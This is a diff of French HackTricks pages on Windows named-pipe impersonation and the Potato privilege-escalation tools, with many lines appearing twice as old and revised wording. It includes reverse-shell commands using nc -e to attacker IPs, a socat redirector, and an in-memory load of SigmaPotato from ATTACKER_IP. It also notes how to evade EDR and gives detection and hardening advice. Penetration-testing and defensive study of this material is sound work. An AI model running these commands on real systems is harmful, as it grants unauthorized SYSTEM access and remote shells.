Si vous avez juste besoin d'un exemple complet de création du pipe et d'usurpation pour lancer SYSTEM depuis un déclencheur de service, voir :
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
from-high-integrity-to-system-with-name-pipes.md
|
||||
{{#endref}}
|
||||
|
||||
## Dépannage et pièges
|
||||
## Dépannage et pièges à éviter
|
||||
- Vous devez lire au moins un message depuis le pipe avant d'appeler ImpersonateNamedPipeClient ; sinon vous obtiendrez ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Si le client se connecte avec SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, le serveur ne peut pas totalement usurper ; vérifiez le niveau d'usurpation du token via GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW nécessite SeImpersonatePrivilege sur l'appelant. Si cela échoue avec ERROR_PRIVILEGE_NOT_HELD (1314), utilisez CreateProcessAsUser après vous être déjà fait passer pour SYSTEM.
|
||||
- Assurez-vous que le descripteur de sécurité de votre pipe autorise le service cible à se connecter si vous le durcissez ; par défaut, les pipes sous \\.\pipe sont accessibles selon la DACL du serveur.
|
||||
- Si le client se connecte avec SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, le serveur ne peut pas usurper complètement ; vérifiez le niveau d'usurpation du token via GetTokenInformation(TokenImpersonationLevel).
|
||||
- CreateProcessWithTokenW exige SeImpersonatePrivilege sur l'appelant. Si cela échoue avec ERROR_PRIVILEGE_NOT_HELD (1314), utilisez CreateProcessAsUser après vous être déjà fait passer pour SYSTEM.
|
||||
- Assurez-vous que le descripteur de sécurité de votre pipe permet au service ciblé de se connecter si vous le durcissez ; par défaut, les pipes sous \\.\pipe sont accessibles selon la DACL du serveur.
|
||||
|
||||
## Détection et durcissement
|
||||
- Surveillez la création et les connexions aux named pipes. Les Sysmon Event IDs 17 (Pipe Created) et 18 (Pipe Connected) sont utiles pour établir une base des noms de pipes légitimes et détecter des pipes inhabituels ou d'aspect aléatoire précédant des token-manipulation events.
|
||||
- Recherchez des séquences : un processus crée un pipe, un service SYSTEM se connecte, puis le processus créateur lance un enfant en tant que SYSTEM.
|
||||
- Réduisez l'exposition en retirant SeImpersonatePrivilege aux comptes de service non essentiels et en évitant les logons de service inutiles avec des privilèges élevés.
|
||||
- Surveillez la création et les connexions de named pipe. Les Sysmon Event IDs 17 (Pipe Created) et 18 (Pipe Connected) sont utiles pour établir une référence des noms de pipe légitimes et détecter des pipes inhabituels ou aléatoires précédant des événements de manipulation de token.
|
||||
- Recherchez des séquences : un processus crée un pipe, un service SYSTEM se connecte, puis le processus créateur lance un processus enfant en tant que SYSTEM.
|
||||
- Réduisez l'exposition en retirant SeImpersonatePrivilege des comptes de service non essentiels et en évitant les logons de service inutiles avec des privilèges élevés.
|
||||
- Développement défensif : lors de la connexion à des named pipes non fiables, spécifiez SECURITY_SQOS_PRESENT avec SECURITY_IDENTIFICATION pour empêcher les serveurs d'usurper complètement le client sauf si nécessaire.
|
||||
|
||||
## Références
|
||||
- Windows : documentation ImpersonateNamedPipeClient (exigences et comportement de l'usurpation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team : Windows named pipes privilege escalation (tutoriel et exemples de code). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
- Windows : ImpersonateNamedPipeClient documentation (exigences et comportement d'impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 à partir de la build 1809. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour exploiter les mêmes privilèges et obtenir un accès au niveau `NT AUTHORITY\SYSTEM`.** Ce [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) explique en détail l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'impersonation sur des hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus.
|
||||
> **JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et versions ultérieures. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour obtenir les mêmes privilèges et atteindre un accès de niveau `NT AUTHORITY\SYSTEM`. Ce [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondit l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'impersonation sur des hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus.
|
||||
|
||||
> [!TIP]
|
||||
> Une alternative moderne fréquemment maintenue en 2024–2025 est SigmaPotato (un fork de GodPotato) qui ajoute l'utilisation en mémoire / la reflection .NET et un support étendu des OS. Voir l'utilisation rapide ci-dessous et le dépôt dans References.
|
||||
> Une alternative moderne fréquemment maintenue en 2024–2025 est SigmaPotato (un fork de GodPotato) qui ajoute l'usage en mémoire/.NET reflection et un support OS étendu. Voir l'utilisation rapide ci-dessous et le repo dans References.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Exigences et pièges courants
|
||||
## Prérequis et pièges courants
|
||||
|
||||
Toutes les techniques suivantes reposent sur l'abus d'un service privilégié capable d'effectuer l'impersonation depuis un contexte disposant de l'un des privilèges suivants :
|
||||
Toutes les techniques suivantes reposent sur l'abus d'un service privilégié capable d'impersonation depuis un contexte disposant de l'un des privilèges suivants :
|
||||
|
||||
- SeImpersonatePrivilege (le plus courant) ou SeAssignPrimaryTokenPrivilege
|
||||
- High integrity n'est pas requise si le token possède déjà SeImpersonatePrivilege (typique pour de nombreux comptes de service tels que IIS AppPool, MSSQL, etc.)
|
||||
- Une intégrité élevée n'est pas requise si le token possède déjà SeImpersonatePrivilege (typique pour de nombreux comptes de service tels que IIS AppPool, MSSQL, etc.)
|
||||
|
||||
Check privileges quickly:
|
||||
Vérifiez rapidement les privilèges :
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Notes opérationnelles :
|
||||
Remarques opérationnelles:
|
||||
|
||||
- PrintSpoofer nécessite que le Print Spooler service soit en cours d'exécution et accessible via le local RPC endpoint (spoolss). Dans des environnements durcis où Spooler est désactivé après PrintNightmare, privilégiez RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requiert un OXID resolver accessible sur TCP/135. Si l'egress est bloqué, utilisez un redirector/port-forwarder (voir exemple ci-dessous). Les builds plus anciens nécessitaient le -f flag.
|
||||
- EfsPotato/SharpEfsPotato abusent de MS-EFSR ; si un pipe est bloqué, essayez des pipes alternatifs (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- L'erreur 0x6d3 lors de RpcBindingSetAuthInfo indique typiquement un service d'authentification RPC inconnu/non supporté ; essayez un pipe/transport différent ou assurez-vous que le service cible est en cours d'exécution.
|
||||
- PrintSpoofer nécessite que le service Print Spooler soit en cours d'exécution et accessible via le endpoint RPC local (spoolss). Dans les environnements durcis où Spooler est désactivé après PrintNightmare, privilégiez RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requiert un OXID resolver accessible sur TCP/135. Si l’egress est bloqué, utilisez un redirector/port-forwarder (voir exemple ci-dessous). Les versions plus anciennes nécessitaient le flag -f.
|
||||
- EfsPotato/SharpEfsPotato exploitent MS-EFSR ; si un pipe est bloqué, essayez des pipes alternatifs (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- L'erreur 0x6d3 lors de RpcBindingSetAuthInfo indique généralement un service d'authentification RPC inconnu/non supporté ; essayez un autre pipe/transport ou assurez-vous que le service cible est en cours d'exécution.
|
||||
|
||||
## Démo rapide
|
||||
|
||||
@ -58,8 +58,8 @@ NULL
|
||||
|
||||
```
|
||||
Remarques :
|
||||
- Vous pouvez utiliser -i pour lancer un processus interactif dans la console courante, ou -c pour exécuter une commande en une seule ligne.
|
||||
- Nécessite le service Spooler. Si celui-ci est désactivé, cela échouera.
|
||||
- Vous pouvez utiliser -i pour lancer un processus interactif dans la console actuelle, ou -c pour exécuter un one-liner.
|
||||
- Requiert le service Spooler. Si désactivé, cela échouera.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Si le port 135 sortant est bloqué, pivotez le OXID resolver via socat sur votre redirector :
|
||||
Si les connexions sortantes sur le port 135 sont bloquées, pivotez le résolveur OXID via socat sur votre redirector :
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Astuce : Si un pipe échoue ou si l'EDR le bloque, essayez les autres pipes pris en charge :
|
||||
Conseil : Si un pipe échoue ou si l'EDR le bloque, essayez les autres pipes pris en charge :
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
# You can achieve a reverse shell like this.
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Remarques :
|
||||
Remarques:
|
||||
- Fonctionne sur Windows 8/8.1–11 et Server 2012–2022 lorsque SeImpersonatePrivilege est présent.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato fournit deux variantes ciblant des objets DCOM de service qui, par défaut, utilisent RPC_C_IMP_LEVEL_IMPERSONATE. Build ou utilisez les binaries fournis et exécutez votre commande :
|
||||
DCOMPotato fournit deux variantes ciblant les objets DCOM de service qui sont par défaut RPC_C_IMP_LEVEL_IMPERSONATE. Compilez ou utilisez les binaries fournis et exécutez votre commande :
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (fork de GodPotato mis à jour)
|
||||
### SigmaPotato (mis à jour GodPotato fork)
|
||||
|
||||
SigmaPotato ajoute des améliorations modernes comme l'exécution en mémoire via .NET reflection et un PowerShell reverse shell helper.
|
||||
SigmaPotato ajoute des fonctionnalités modernes, comme l'exécution en mémoire via .NET reflection et un helper pour PowerShell reverse shell.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -150,11 +150,11 @@ SigmaPotato ajoute des améliorations modernes comme l'exécution en mémoire vi
|
||||
```
|
||||
## Notes de détection et de durcissement
|
||||
|
||||
- Surveillez les processus créant des named pipes et appelant immédiatement des token-duplication APIs suivies de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon peut fournir une télémétrie utile : Event ID 1 (création de processus), 17/18 (named pipe créé/connecté), et les lignes de commande lançant des processus enfants en tant que SYSTEM.
|
||||
- Durcissement du spooler : Désactiver le service Print Spooler sur les serveurs où il n’est pas nécessaire empêche les coercitions locales de type PrintSpoofer via spoolss.
|
||||
- Durcissement des comptes de service : Minimisez l’attribution de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aux services personnalisés. Envisagez d’exécuter les services sous des virtual accounts avec les privilèges les plus faibles requis et de les isoler à l’aide du service SID et de tokens en écriture restreinte lorsque possible.
|
||||
- Contrôles réseau : Bloquer le trafic sortant TCP/135 ou restreindre le trafic du RPC endpoint mapper peut casser RoguePotato sauf si un redirecteur interne est disponible.
|
||||
- EDR/AV : Tous ces outils sont largement détectés par signature. La recompilation depuis la source, le renommage des symboles/chaînes ou l’exécution en mémoire peuvent réduire la détection mais ne vaincront pas des détections comportementales robustes.
|
||||
- Surveiller les processus créant des named pipes et appelant immédiatement des token-duplication APIs suivis de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon peut fournir une télémétrie utile : Event ID 1 (process creation), 17/18 (named pipe created/connected), et les lignes de commande lançant des processus enfants en tant que SYSTEM.
|
||||
- Durcissement du spooler : désactiver le service Print Spooler sur les serveurs où il n’est pas nécessaire empêche les coercitions locales de type PrintSpoofer via spoolss.
|
||||
- Durcissement des comptes de service : minimiser l’attribution de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege aux services personnalisés. Envisager d’exécuter les services sous des comptes virtuels avec les privilèges minimaux requis et de les isoler avec service SID et des write-restricted tokens quand c’est possible.
|
||||
- Contrôles réseau : bloquer le trafic sortant TCP/135 ou restreindre le trafic du RPC endpoint mapper peut casser RoguePotato sauf si un redirecteur interne est disponible.
|
||||
- EDR/AV : tous ces outils sont largement signaturés. Recompiler depuis les sources, renommer les symboles/chaînes ou utiliser une exécution en mémoire peut réduire la détection mais ne vaincra pas des détections comportementales robustes.
|
||||
|
||||
## Références
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user